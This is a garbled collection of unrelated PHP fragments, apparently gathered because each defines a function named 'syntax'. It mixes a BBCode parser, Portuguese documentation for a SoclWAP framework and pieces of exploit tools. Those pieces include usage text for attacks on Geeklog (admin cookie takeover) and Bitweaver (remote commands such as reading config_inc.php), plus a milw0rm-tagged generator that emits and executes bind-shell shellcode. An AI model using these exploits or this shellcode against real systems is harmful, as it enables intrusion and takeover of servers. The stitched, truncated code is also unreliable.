function bbdecode($texto) { $a = array("/\\[i\\](.*?)\\[\\/i\\]/is", "/\\[b\\](.*?)\\[\\/b\\]/is", "/\\[u\\](.*?)\\[\\/u\\]/is", "/\\[img\\](.*?)\\[\\/img\\]/is", "/\\[url=(.*?)\\](.*?)\\[\\/url\\]/is"); $b = array("<i>\$1</i>", "<b>\$1</b>", "<u>\$1</u>", "<img src=\"\$1\" />", "<a href=\"\$1\" target=\"_blank\" rel=\"nofollow\">\$2</a>"); $texto = preg_replace($a, $b, $texto); $texto = str_replace("&", "&", $texto); preg_match_all("/\\[code\\](.*?)\\[\\/code\\]/is", $texto, $codes); foreach ($codes as $code) { $syntax = syntax(str_replace(array('[code]', '[/code]'), null, $code[0])); $texto = str_replace($code[0], '<p style="border: #000 1px dotted; background:white;>' . $syntax . '</p>', $texto); } // desfazedor de merd*: $texto = str_replace('&</span><span style="color: #0000BB">quot</span><span style="color: #007700">;</span>', '"', $texto); $texto = str_replace('&</span><span style="color: #0000BB">quot</span><span style="color: #007700">;', '"', $texto); // fim desfazedor de merd* $texto = nl2br($texto); return $texto; }
} function syntax() { print "Syntax: php " . $argv[0] . " [host] [path] [user] [pass] [OPTIONS] \n" . "Options: \n" . "--c:[uid:hash ] - use your user cookie, instead of uses/pwd pair \n" . "--port:[port] - specify a port \n" . " default->80 \n" . "--uid:[n] - specify an uid other than default (2,usually admin)\n" . "--proxy:[host:port] - use proxy \n" . "--skiptest - skip preliminary tests \n" . "--test - run only tests \n" . "Examples: php " . $argv[0] . " 192.168.0.1 /geeklog/ bookoo pass \n" . " php " . $argv[0] . " 192.168.0.1 / bookoo pass --proxy:1.1.1.1:8080\n" . " php " . $argv[0] . " 192.168.0.1 / bookoo pass --uid:3 \n" . " php " . $argv[0] . " 192.168.0.1 /geeklog/ * * -c:3:5f4dcc3b5aa765d61d8327deb882cf99"; die; } error_reporting(E_ALL ^ E_NOTICE); $host = $argv[1]; $path = $argv[2]; $_user = $argv[3]; $_pwd = $argv[4]; //default $uid = "2"; $where = "uid={$uid}"; //user id, usually admin, anonymous = 1 $argv[4] ? print "[*] Attacking...\n" : syntax(); $_use_proxy = false; $port = 80; $_skiptest = false; $_test = false; $_use_ck = false; for ($i = 3; $i < $argc; $i++) { if (stristr($argv[$i], "--proxy:")) { $_use_proxy = true; $tmp = explode(":", $argv[$i]); $proxy_host = $tmp[1]; $proxy_port = (int) $tmp[2]; } if (stristr($argv[$i], "--port:")) { $tmp = explode(":", $argv[$i]); $port = (int) $tmp[1];
{ print "Syntax: php " . $argv[0] . " [host] [path] [user] [pass] [cmd] [options] \n" . "Options: \n" . "--port:[port] - specify a port \n" . " default->80 \n" . "--proxy:[host:port] - use proxy \n" . "Examples: php " . $argv[0] . " 192.168.0.1 /bitweaver/ bookoo pass ls \n" . " php " . $argv[0] . " 192.168.0.1 / bookoo pass ls -a --proxy:1.1.1.1:8080\n" . " php " . $argv[0] . " 192.168.0.1 / bookoo pass cat ../kernel/config_inc.php --port:81"; die; } error_reporting(E_ALL); $host = $argv[1]; $path = $argv[2]; $_usr = $argv[3]; $_pwd = $argv[4]; $_cmd = ""; for ($i = 5; $i < $argc; $i++) { if (!strstr($argv[$i], "--proxy:") and !strstr($argv[$i], "--port:")) { $_cmd .= " " . $argv[$i]; } } $argv[5] ? print "[*] Command->{$_cmd}\n" : syntax(); $_use_proxy = false; $port = 80; for ($i = 3; $i < $argc; $i++) { if (stristr($argv[$i], "--proxy:")) { $_use_proxy = true; $tmp = explode(":", $argv[$i]); $proxy_host = $tmp[1]; $proxy_port = (int) $tmp[2]; } if (stristr($argv[$i], "--port:")) { $tmp = explode(":", $argv[$i]); $port = (int) $tmp[1]; } } function _s($url, $cmd, $is_post, $request)
$res_port = base_convert($port, 10, 16); $length = strlen($res_port) - 1; $i = 1; for ($idx = 0; $idx < $length + 1; $idx++) { $i++; if ($i == 4) { $inser .= "\\x"; } $inser .= $res_port[$idx]; } $inser .= "\" /* Port " . $port . " */\n"; $inser .= "\t\t\t\"\\x66\\x51\\x89\\xe6\\x6a\\x10\\x56\\x57\\xb0\\xe8\\xff\\xd5\\xb0\\xe9\\xff\\xd5\"\n"; $inser .= "\t\t\t\"\\x50\\x50\\x57\\xb0\\xea\\xff\\xd5\\x31\\xd2\\xb2\\x09\\x51\\x52\\x50\\xb0\\x3e\"\n"; $inser .= "\t\t\t\"\\xff\\xd5\\x49\\x79\\xf2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\"\n"; $inser .= "\t\t\t\"\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\\x52\\x53\\xb0\\x3b\\xff\\xd5\";\n"; $inser .= "\n"; $inser .= "\tprintf(\"Length: %d\\n\",strlen(shellcode));\n"; $inser .= "\t(*(void(*)()) shellcode)();</br>"; $inser .= "\n"; $inser .= "\n"; return $inser; } if ($argc < 2) { syntax(); return false; } $port = $argv[1]; echo win32bind($port); ?> # milw0rm.com [2009-06-16]
$dst .= substr($src, 0, $n); $src = substr($src, $n); } else { if (preg_match($patterns['token'], $src, $matches)) { syntax('token'); $n = strlen($matches[0]); $dst .= substr($src, 0, $n); $src = substr($src, $n); } else { if (preg_match('/^[a-zA-Z0-9_]+/', $src, $matches)) { syntax('identifier'); $n = strlen($matches[0]); $dst .= substr($src, 0, $n); $src = substr($src, $n); } else { syntax('error'); $dst .= substr($src, 0, 1); $src = substr($src, 1); } } } } } } } } } } $data = $dst . '</code>'; } $l = count(preg_split('/\\r?\\n/', $data));
function func($func) { $df['syserr'] = 'Esta função exibe uma página de erro e paralisa a execução do sistema.'; $df['email'] = 'Esta função envia um e-mail já com headers definidos.'; $df['admail'] = 'Esta função envia um e-mail ao administrador do sistema.'; $df['is_logged'] = 'Esta função detecta se o usuário está ou não logado.'; $df['is_admin'] = 'Esta função detecta se o usuário logado possui privilégios de administrador.'; $df['protect'] = 'Esta função protege uma string contra ataques de SQLi e XSS.'; $df['url'] = 'Esta função cria um link interno.'; $df['t'] = 'Esta função ativa a tradução de uma string.'; $df['siteerr'] = 'Esta função exibe uma caixa de erros, mas a execução do sistema é continuada.'; $df['titlebar'] = 'Esta função cria uma barra de título de seção.'; $df['infobox'] = 'Esta função exibe uma caixa de informação na página.'; $df['section'] = 'Esta função cria uma seção, composta de um título e o conteúdo.'; $df['freesection'] = 'Esta função cria uma seção sem título.'; $df['redir'] = 'Esta função redireciona para uma página interna.'; $df['requirelogin'] = '******'; $df['onlyadmin'] = 'Esta função bloqueia o acesso de usuários sem privilégios de administrador.'; $df['imageupload'] = 'Esta função envia uma imagem JPEG ao servidor e cria uma miniatura.'; $df['power'] = 'Esta função exibe "Powered by SoclWAP".'; $df['addmenu'] = 'Adiciona um ítem ao menu'; $df['removemenu'] = 'Remove um ítem do menu.'; $df['mysql_table_exists'] = 'Verifica a existência ou não de uma tabela.'; $df['settitle'] = 'Configura o título da página.'; $df['captcha_init'] = 'Inicia o uso do Captcha'; $df['bbcode'] = 'Altera um texto com BBCode.'; $df['timestamp'] = 'Converte uma data no formato d/m/Y para um Unix Timestamp.'; $df['diasentre'] = 'Retorna a quantidade de dias existentes entre uma data e outra.'; $df['thumb'] = 'Retorna a miniatura de uma imagem enviada.'; $df['extenso'] = 'Escreve um número por extenso.'; $df['note'] = 'Publica uma notificação'; $df['delnote'] = 'Exclui uma notificação'; $df['resolveuser'] = '******'; $df['validuser'] = '******'; $df['friends'] = 'Verifica se dois usuários são amigos'; $df['cleanstring'] = 'Trata uma string e a retorna limpa, para usar numa URL.'; $df['mysql_all_query'] = 'Executa múltiplas queries no MySQL, separadas por \';\'.'; $df['getcaptcha'] = 'Retorna um captcha'; $df['comparecaptcha'] = 'Verifica se captcha está correto.'; $df['youtube'] = 'Retorna dados de um vídeo do YouTube.'; $df['menu'] = 'Retorna menu de gerenciador de perfis.'; $df['stop_here'] = 'Pára a execução do módulo e exibe saída.'; $df['swhead'] = 'Escreve no HEAD da página.'; $df['syntax'] = 'Destaca a sintaxe de um código usando as cores definidas para o destacador de sintaxe do PHP.'; $final['syserr'] = 'É uma alternativa ao die(), porém, inclui a logomarca de seu sistema e a mensagem é exibida em um infobox.'; $final['email'] = 'Utilize esta alternativa ao mail() em seus módulos e aplicativos para o SoclWAP, já que ele constrói automaticamente os cabeçalhos do e-mail.'; $final['admail'] = 'A mensagem é enviada ao e-mail configurado pelo administrador. Útil para reportar erros.'; $final['is_logged'] = 'O retorno da função é booleano (true ou false).'; $final['is_admin'] = 'O retorno da função é booleano.'; $final['protect'] = 'Esta função aplica as funções nativas <a href="http://php.net/htmlspecialchars">htmlspecialchars</a> e <a href="http://php.net/mysql_real_escape_string">mysql_real_escape_string</a>.'; $final['url'] = 'Esta função obtém o caminho virtual configurada, no qual o aplicativo está sendo executado, e monta os links com a tag ' . htmlspecialchars("<A>") . '.'; $final['t'] = 'Esta função obtém a tradução feita pelo administrador. Caso esta não exista, a string original é retornada.'; $final['siteerr'] = 'Esta função faz o mesmo que a função ' . url("sample/func/infobox", "infobox") . '.'; $final['titlebar'] = 'Esta função retorna uma barra de títulos semelhante à utilizada pela função ' . url("sample/func/section", "section") . '.'; $final['infobox'] = 'Esta função faz o mesmo que a função ' . url("sample/func/siteerr", "siteerr") . '.'; $final['section'] = 'Esta função retorna o uso das funções ' . url("sample/func/titlebar", "titlebar") . ' e ' . url("sample/func/freesection", "freesection") . '.'; $final['freesection'] = 'Você deve utilizar esta função em suas aplicações para o SoclWAP ao invés da nativa <a href="http://php.net/echo">echo</a> pois esta primeira se aplica às configurações de tema do SoclWAP.'; $final['redir'] = 'O conceito de "página interna" é o mesmo utilizado na função ' . url("sample/func/url", "url") . '.'; $final['requirelogin'] = '******'; $final['onlyadmin'] = 'Esta função redireciona o usuário para a página inicial.'; $final['imageupload'] = 'Esta função retorna um array contendo o nome da imagem original e da miniatura.'; $final['power'] = 'Esta função é obrigatória em temas para SoclWAP, ou a aplicação não irá rodar.'; $final['addmenu'] = 'Esta função é útil na instalação de módulos.'; $final['removemenu'] = 'Esta função é útil na desinstalação de módulos.'; $final['mysql_table_exists'] = 'O retorno da função é booleano.'; $final['settitle'] = 'Esta função edita as tags ' . htmlspecialchars("<TITLE>") . ' da página.'; $final['captcha_init'] = 'Esta função carrega os dados necessários para gerar o captcha.'; $final['bbcode'] = 'BBCode é o padrão de linguagem de marcação utilizada em fóruns.'; $final['timestamp'] = 'É como um mktime(), porém, que suporta marcação de data direta.'; $final['diasentre'] = 'As datas devem estar em formato d/m/Y. Caso a segunda data não seja declarada, será atribuído à ela o valor da data atual.'; $final['thumb'] = 'A imagem deve estar no diretório "upload"'; $final['extenso'] = 'Você pode configurar um gênero (masculino - padrão - ou feminino) de retorno.'; $final['note'] = 'Caso a segunda variável não possua um valor inteiro (numérico), será atribuído à ela o valor do usuário logado.'; $final['delnote'] = 'Insira o valor da ID da notificação.'; $final['resolveuser'] = '******'; $final['validuser'] = '******'; $final['friends'] = 'Você deve inserir duas ID\'s de usuários.'; $final['cleanstring'] = 'Os únicos caracteres que permanecem na string são letras e números.'; $final['mysql_all_query'] = 'Esta função é útil porquê a função mysql_query() não suporta múltiplas queries.'; $final['getcaptcha'] = 'Esta função obtém o endereço da imagem gerada como captcha.'; $final['comparecaptcha'] = 'Retorno booleano.'; $final['youtube'] = 'Necessário incluir biblioteca.'; $final['menu'] = 'Necessário incluir biblioteca.'; $final['stop_here'] = 'Se você utilizar funções como die() ou exit(), a saída não será exibida com o tema.'; $final['swhead'] = 'Esta função é útil para incluir folhas de estilo ou scripts JavaScript.'; $final['syntax'] = 'Esta função é uma versão simplificada da função nativa <a href="http://php.net/highlight_string" target="_blank">highlight_string()</a>.'; $uso['syserr'] = 'syserr(mensagem);'; $uso['email'] = 'email(para, assunto, mensagem);'; $uso['admail'] = 'admail(assunto, mensagem);'; $uso['is_logged'] = 'is_logged();'; $uso['is_admin'] = 'is_admin();'; $uso['protect'] = 'protect(mensagem);'; $uso['url'] = 'url(destino, texto)'; $uso['t'] = 't(texto);'; $uso['siteerr'] = 'siteerr(mensagem);'; $uso['titlebar'] = 'titlebar(titulo);'; $uso['infobox'] = 'infobox(mensagem [, auto [, stop ]]);'; $uso['section'] = 'section(conteudo, titulo);'; $uso['freesection'] = 'freesection(conteudo);'; $uso['redir'] = 'redir(destino);'; $uso['requirelogin'] = '******'; $uso['onlyadmin'] = 'onlyadmin();'; $uso['imageupload'] = 'imageupload(arquivo);'; $uso['power'] = 'power();'; $uso['addmenu'] = 'addmenu(item, url);'; $uso['removemenu'] = 'removemenu(url);'; $uso['mysql_table_exists'] = 'mysql_table_exists(tabela);'; $uso['settitle'] = 'settitle(título);'; $uso['captcha_init'] = 'captcha_init();'; $uso['bbcode'] = 'bbcode(string);'; $uso['timestamp'] = 'timestamp(data);'; $uso['diasentre'] = 'diasentre(inicio [, fim ]);'; $uso['thumb'] = 'thumb(imagem);'; $uso['extenso'] = 'extenso(extenso);'; $uso['note'] = 'note(conteúdo, usuário);'; $uso['delnote'] = 'delnote(id);'; $uso['resolveuser'] = '******'; $uso['validuser'] = '******'; $uso['friends'] = 'friends(id1, id2);'; $uso['cleanstring'] = 'cleanstring(string);'; $uso['mysql_all_query'] = 'mysql_all_query(queries);'; $uso['getcaptcha'] = 'getcaptcha();'; $uso['comparecaptcha'] = 'comparecaptcha(valor);'; $uso['youtube'] = 'youtube(video_url);'; $uso['menu'] = 'menu(usuario);'; $uso['stop_here'] = 'stop_here();'; $uso['swhead'] = 'swhead(codigo);'; $uso['syntax'] = 'syntax(codigo);'; $sample['syserr'] = 'syserr("Ocorreu um erro que fez com que a aplicação parasse.");'; $sample['email'] = 'email("*****@*****.**", "Olá!", "Olá, tudo bem?");'; $sample['admail'] = 'admail("Sucesso!", "Mais um usuário se registrou em sua rede.");'; $sample['is_logged'] = 'if(is_logged())'; $sample['is_admin'] = 'if(is_admin())'; $sample['protect'] = 'protect($_POST[\'mensagem\');'; $sample['url'] = 'freesection(url("sample/func/url", "Ver a função URL")); // <a href="(site)(prefixo)sample/func/url">Ver a função URL'; $sample['t'] = 'freesection(t("Este texto poderá ser modificado no painel de administração posteriormente."));'; $sample['siteerr'] = 'siteerr("Que feio, usuário! Você não pode fazer isso.");'; $sample['titlebar'] = 'freesection(titlebar("Notícias"));'; $sample['infobox'] = 'infobox("Ação concluída com sucesso!"); // somente exibir, sem retorno freesection(infobox("Teste", false)); // retorna como string infobox("Stop!", true, false); // exibe o texto e pára a execução do SoclWAP'; $sample['section'] = 'section("<b>Olá, mundo!</b>", "Monstro");'; $sample['freesection'] = 'freesection("<b>Olá, mundo!</b>");'; $sample['redir'] = 'redir("sample/func/url");'; $sample['requirelogin'] = '******'; $sample['onlyadmin'] = 'onlyadmin(); // simples, não?'; $sample['imageupload'] = '$upload = imageupload($_FILES[\'foto\']); if(!$upload) { // ... } else { $nome_da_imagem = $upload[\'full\']; $miniatura = $upload[\'thumb\']; }'; $sample['power'] = 'power(); // só isso!'; $sample['addmenu'] = 'addmenu("Blog do administrador", "blog/lista/admin");'; $sample['removemenu'] = 'removemenu("blog"); // remove link para blog'; $sample['mysql_table_exists'] = 'if(mysql_table_exists("tabela")) { // ...'; $sample['settitle'] = 'settitle("Título da página");'; $sample['captcha_init'] = 'captcha_init();'; $sample['bbcode'] = 'bbcode("[b]hello[/b]");'; $sample['timestamp'] = 'timestamp("21/12/2012");'; $sample['diasentre'] = 'diasentre("24/11/2011", "21/12/2012"); // quantos dias existem entre o início do projeto SoclWAP e o fim do mundo? diasentre("24/11/2011"); // quantos dias existem entre o início do projeto SoclWAP e hoje?'; $sample['thumb'] = 'global $url; echo \'<img src="\'.$url.\'/\'.thumb("default.jpg").\'">\';'; $sample['extenso'] = 'echo extenso(1); // "um" echo extenso(1, "f"); // "uma"'; $sample['note'] = 'note("postou esta notificação.", $_SESSION[\'id\']);'; $sample['delnote'] = 'delnote(1);'; $sample['resolveuser'] = '******'; $sample['validuser'] = '******'; $sample['friends'] = 'if(friends(1, 2)) { // ...'; $sample['cleanstring'] = 'echo cleanstring("Debian GNU/Linux"); // "DebianGNULinux"'; $sample['mysql_all_query'] = 'mysql_all_query("DROP TABLE foo1; DROP TABLE foo2;");'; $sample['getcaptcha'] = 'captcha_init(); echo \'<img src="\'.getcaptcha().\'">\';'; $sample['comparecaptcha'] = 'captcha_init(); if(comparecaptcha("valor"));'; $sample['youtube'] = 'include("libs/video.php"); // carrega biblioteca $video = youtube("http://www.youtube.com/watch?v=videoid"); echo $video[\'code\']; // retorna código de inserção do vídeo echo $video[\'title\']; // título do vídeo echo $video[\'desc\']; // descrição do vídeo'; $sample['menu'] = 'include("libs/account.php"); echo menu("admin"); // retorna menu'; $sample['stop_here'] = 'if(!is_numeric($id)) { infobox(t("Apenas números na ID.")); stop_here(); }'; $sample['swhead'] = 'swhead("<!-- isto está no head da página -->");'; $sample['syntax'] = 'freesection(syntax("echo \'Olá, mundo.\'"));'; $retorno['syserr'] = '(sem retorno)'; $retorno['email'] = 'booleano'; $retorno['admail'] = 'booleano'; $retorno['is_logged'] = 'booleano'; $retorno['is_admin'] = 'booleano'; $retorno['protect'] = 'string'; $retorno['url'] = 'string'; $retorno['t'] = 'string'; $retorno['siteerr'] = '(sem retorno)'; $retorno['titlebar'] = 'string'; $retorno['infobox'] = '(retorno dependente do segundo parâmetro)'; $retorno['section'] = '(sem retorno)'; $retorno['freesection'] = '(sem retorno)'; $retorno['redir'] = '(sem retorno)'; $retorno['requirelogin'] = '******'; $retorno['onlyadmin'] = '(sem retorno)'; $retorno['imageupload'] = 'array [ full | thumb ]'; $retorno['power'] = '(sem retorno)'; $retorno['addmenu'] = '(sem retorno)'; $retorno['removemenu'] = '(sem retorno)'; $retorno['mysql_table_exists'] = 'booleano'; $retorno['settitle'] = '(sem retorno)'; $retorno['captcha_init'] = '(sem retorno)'; $retorno['bbcode'] = 'string'; $retorno['timestamp'] = 'int'; $retorno['diasentre'] = 'int'; $retorno['thumb'] = 'string'; $retorno['extenso'] = 'string'; $retorno['note'] = '(sem retorno)'; $retorno['delnote'] = '(sem retorno)'; $retorno['resolveuser'] = '******'; $retorno['validuser'] = '******'; $retorno['friends'] = 'booleano'; $retorno['cleanstring'] = 'string'; $retorno['mysql_all_query'] = '(sem retorno)'; $retorno['getcaptcha'] = 'string'; $retorno['comparecaptcha'] = 'booleano'; $retorno['youtube'] = 'array'; $retorno['menu'] = 'string'; $retorno['stop_here'] = '(sem retorno)'; $retorno['swhead'] = '(sem retorno)'; $retorno['syntax'] = 'string'; $output = '<h1>' . $func . '</h1>'; $output .= '<p>' . $df[$func] . '</p>'; $output .= '<h2>Uso:</h2>'; $output .= '<p class="infobox">' . $uso[$func] . '</p>'; $output .= '<h2>Exemplo:</h2>'; $output .= syntax($sample[$func]); $output .= '<h2>Retorno:</h2>'; $output .= '<p class="infobox">' . $retorno[$func] . '</p>'; $output .= '<p>' . $final[$func] . '</p>'; $output .= "<br>" . url("sample/functions", "Voltar"); freesection($output, $func); }